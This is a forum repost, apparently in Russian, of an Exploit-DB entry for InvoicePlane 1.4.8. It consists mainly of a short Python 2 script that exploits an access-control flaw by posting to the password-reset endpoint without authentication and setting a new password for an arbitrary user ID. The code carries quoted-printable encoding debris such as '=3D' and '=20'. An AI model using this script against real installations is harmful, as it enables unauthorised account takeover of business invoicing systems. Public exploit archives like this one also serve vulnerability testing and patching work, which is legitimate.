Exploit InvoicePlane 1.4.8 - Password Reset

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
40752
Проверка EDB
  1. Пройдено
Автор
FEEDERSEC
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2016-11-11
InvoicePlane 1.4.8 - Password Reset
Код:
# Exploit Title: InvoicePlane v1.4.8 Incorrect Access Control for password =
reset
# Date: 12-11-2016
# Exploit Author: feedersec
# Contact: [email protected]
# Vendor Homepage: https://invoiceplane.com
# Software Link: https://invoiceplane.com/download/v1.4.8
# Version: v1.4.8=20
# Tested on: ubuntu 16.04 LTS

# Description: An unauthenticated user can POST to=20
# /index.php/sessions/passwordreset setting a new password for any user

import urllib2, urllib

#set parameters here
user_id =3D '1'
new_password =3D 'haxor'
baseUrl =3D 'http://localhost/'
####

data =3D urllib.urlencode({'user_id': user_id,=20
=09=09=09 'new_password' : new_password,
=09=09=09 'btn_new_password' : '1'})

req =3D urllib2.Request(baseUrl + 'index.php/sessions/passwordreset', data)
response =3D urllib2.urlopen(req)
 
Источник
www.exploit-db.com

Похожие темы